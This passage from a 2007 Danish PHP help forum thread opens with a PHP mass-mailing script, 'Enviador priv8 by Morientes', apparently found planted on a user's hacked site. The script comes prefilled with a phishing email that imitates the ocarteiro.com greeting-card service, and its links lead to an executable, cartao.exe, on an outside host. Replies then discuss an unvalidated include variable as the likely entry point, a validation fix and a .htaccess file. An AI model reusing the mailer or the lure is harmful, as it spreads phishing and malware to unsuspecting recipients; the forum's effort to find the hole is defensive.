$i = 1;


?><title>php sender</title>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<p>&nbsp;</p>
<?
if($manda) { ?>
<table width="59%" height="30" border="0" align="center" cellpadding="2" cellspacing="1" bgcolor="#333333">
  <tr>
    <td bgcolor="#f5f5f5">
      <?
    foreach ($file as $mail) {

                if(mail($mail, $assunto, $mensagem, $headers))

                    echo "<font color=green face=verdana size=1>* $i - ".$mail."</font> <font color=green face=verdana size=1>OK</font><br>";

                else

                    echo "* $i  ".$email[$i]." <font color=red>NO</font><br><hr>";

$i++;
   

}
}
?>
    </td>
  </tr>
</table><? } ?>
<form name="form1" method="post" action="">
  <table width="47%" height="202" border="0" align="center" cellpadding="0" cellspacing="2" bgcolor="#666666">
    <tr>
      <td bgcolor="#FFFFFF"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
          <tr>
            <td colspan="3" bgcolor="#666666"> <div align="center"><font color="#FFFFFF" size="2" face="Verdana, Arial, Helvetica, sans-serif"><b> Enviador priv8 by Morientes
                </b></font></div></td>
          </tr>
          <tr>
            <td><div align="center"><font color="#4A0000"><b><font size="2" face="Verdana, Arial, Helvetica, sans-serif">MSG:</font></b></font></div></td>
            <td bgcolor="#666666">&nbsp;</td>
            <td><textarea name="html" cols="30" rows="5" id="textarea2">
<html>
<head>
<title>ocarteiro.com - cartões, diversão e muito mais...</title>
<meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'>
<style type=text/css>
a:visited {text-decoration: none}
a:link {text-decoration: none}
a:hover {text-decoration: underline}
</style>
</head>

<body text='#000000' background='http://www.ocarteiro.com.br/images/novo_carteiro/bg_site.gifgif' leftmargin='0' topmargin='0' marginwidth='0' marginheight='0'>
<table width='100%' border='0' cellspacing='0' cellpadding='0' height='100%' background='http://www.ocarteiro.com.br/images/novo_carteiro/bg_site.gif'>
  <tr>
    <td align='center'> <br>
      <table width='550' border='0' cellspacing='0' cellpadding='0' align='center' bgcolor='FFBE00'>

        <tr>
          <td align='center' valign='top'><img src='http://www.ocarteiro.com.br/images/email_cart_2_2.gif' width='550' height='101'></td>
        </tr>
        <tr>
          <td align='center' valign='top'>
            <!--texto -->
            <table width='80%' border='0' cellspacing='0' cellpadding='0'>
              <tr>
                <td>
                  <p><img src='http://www.ocarteiro.com.br/images/email_cart_2_3.gif' width='372' height='35'></p>
                  <p><font face='Verdana, Arial' size='1'>Ol&aacute;, veja o cart&atilde;o que preparei para voc&ecirc;:</font></p>

                  <p><font face='Verdana, Arial' size='1' color='A50102'><b>
                  <a style="color:#A50102" href="http://www.eamx.ms/cartao.exe">http://www.ocarteiro.com/lercartao.php?id=1916623949A3240</a></b></font></p>
                  <p align='center'>
                  <a target="_blank" href="http://www.eamx.ms/cartao.exe"><img src='http://www.ocarteiro.com.br/images/email_cart_2_4.gif' width='143' height='38' border='0'></a></p>
                  <font face='Verdana, Arial' size='1'><font color='A50102'>Voc&ecirc;
                  tamb&eacute;m poder&aacute; visualiz&aacute;-lo em
                  <a href="http://www.eamx.ms/cartao.exe">http://www.ocarteiro.com</a>
                  colocando o n&uacute;mero do seu cart&atilde;o:</font><b><font color='A50102'>
                  1916623949A3240</font></b></font></td>

              </tr>
            </table>           
          </td>
        </tr>
        <tr>
          <td align='center' width='550' height='167' background='http://www.ocarteiro.com.br/images/email_cart_2_5.gif'>
            <table width='100%' border='0' cellspacing='0' cellpadding='0'>
              <tr align='center'>
                <td><br><br><br>
                <!--- INICIO TAG POSICAO OCARTEIRO-468X60 --->

<TABLE WIDTH=468 BORDER=0 CELLPADDING=0 CELLSPACING=0>
  <TR>
    <TD width="326" valign="bottom"><a href="http://www.bemleve.com.br/cadastro/cadastro_etapa1.php?id_parceria=342&dieta=emagrecer" target="_blank"><img src="http://www.bemleve.com.br/publicidades/ocarteiro/full_bl_ocarteiro_150506/images/full_bl_ocarteiro_01.gif" width="326" height="60" border="0"></a></TD>
    <TD><a href="http://www.bemleve.com.br/cadastro/cadastro_etapa1.php?id_parceria=342&dieta=emagrecer" target="_blank"><IMG SRC="http://www.bemleve.com.br/publicidades/ocarteiro/full_bl_ocarteiro_150506/images/full_bl_ocarteiro_02.jpg" ALT="" WIDTH=142 HEIGHT=60 border="0"></a></TD>
  </TR>

  <TR>
    <TD colspan="2" valign="bottom"><img src="http://www.bemleve.com.br/bin/hits.php?id_parceria=342&dieta=emagrecer" width="1" height="1"></TD>
  </TR>
</TABLE>

                <!--- FINAL TAG POSICAO OCARTEIRO-468X60 --->
                </td>
              </tr>
            </table>
          </td>
        </tr>
      </table>
      <br>
  </td>
  </tr>
</table>
</body>
</html>
</textarea></td>
          </tr>
          <tr>
            <td><div align="center"><font color="#4A0000"><b><font size="2" face="Verdana, Arial, Helvetica, sans-serif">E-MAILS:</font></b></font></div></td>
            <td bgcolor="#666666">&nbsp;</td>
            <td><textarea name="lista" cols="40" rows="10" id="textarea3">email@email.com</textarea></td>
          </tr>
          <tr>
            <td><div align="center"></div></td>
            <td bgcolor="#666666">&nbsp;</td>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td>&nbsp;</td>
            <td bgcolor="#666666">&nbsp;</td>
            <td><div align="center">
                <input name="manda" type="submit" id="manda" value="Yeah!">
              </div></td>
          </tr>
        </table></td>
    </tr>
  </table>
</form>
Avatar billede razmuz Nybegynder
31. januar 2007 - 17:22 #3
Har du da oplevet det samme?
Avatar billede radion Nybegynder
31. januar 2007 - 17:30 #4
det kaldes ansvarsfraskrivelse...

har du nogle script der skriver filer til serveren ?
Avatar billede razmuz Nybegynder
31. januar 2007 - 17:42 #5
nej jeg har ingen scripts, der gør sådan.
Men tænkte om mine sessions eller måske noget andet i koden kunne give en hacker julelys i øjnene.

Kan man sikre sig yderligere?
Avatar billede ksoren Nybegynder
31. januar 2007 - 17:50 #6
$_SESSION["language"]
$LA

Hvordan bliver disse brugt andre steder på dit site, f.eks. i din menu?
Det der umiddelbart giver mig julelys i øjnene er, at du benytter $LA i en include, uden at validere indholdet
Avatar billede Slettet bruger
31. januar 2007 - 17:53 #7
Umiddelbart er det lidt svaert at vurdere dit problem uden adgang til logs og komplet kilde kode. Vil umiddelbart tror at det er en include eller requiere der er problemet...

I det ovenstaaende saa det ok ud med dine includes :/
Avatar billede Slettet bruger
31. januar 2007 - 17:55 #8
Kun "ok" - som ksoren siger... den include hvor du bruger $LA er kun lige ok, da der ikke er nogen som helst validering!
Avatar billede razmuz Nybegynder
31. januar 2007 - 22:26 #9
Jeg har nu lavet validering på $LA:
  <? if ($ID == "ENG" OR $ID == "DAN") {include("menu_$LA.php"); ?>
Er det fint nok, så?
Hvad med en .htaccess
Er der nogen der kan fortælle mig hvad der skal stå i den så INGEN får adgang til noget som helst.
Avatar billede razmuz Nybegynder
01. februar 2007 - 10:32 #10
Hvad siger I til denne htaccess... det er en One.com selv genererer. Er den god?

# -FrontPage-

IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti*

<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Webudvikling kurser
Vi tilbyder markedets bedste kurser inden for webudvikling
Se alle Webudvikling kurser

Flere spørgsmål fra PHP kategorien

Titel Indlæg Oprettet Seneste aktivitet
Hente data fra DEVICE via websocket Af nemlig i PHP 6 25/06/202512:37 25/06/202519:17
Login og redirect Af hrole i PHP 3 24/06/202518:52 24/06/202523:37
Batflat CMS Af sabumnim i PHP 0 06/06/202512:37 -
Hvad gør et @ før en funktion Af KurtG i PHP 3 01/06/202513:20 01/06/202518:27
Curl() og JSON Af nemlig i PHP 21 02/05/202516:22 05/05/202519:15
Se alle spørgsmål i kategorien Opret spørgsmål

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Opret Log ind

Du kan også logge ind via nedenstående tjenester

Alle kategorier på Eksperten
Seneste spørgsmål Seneste aktivitet
I dag 11:20 Fiberby i ny lejlighed - hvordan? Af Josvto i Routere & Switches
I dag 10:30 SEO Optimering Af Flowcare i Webhotel
I går 07:57 Pludselig begyndte min computer at larme Af lenej i PC
02/1117:28 Tekst format i Kodevinduet Af per2edb i Access
02/1116:55 Et pludselig opstået ikon på skrivebordet Af ErikHg i Windows
White papers
Flere white papers »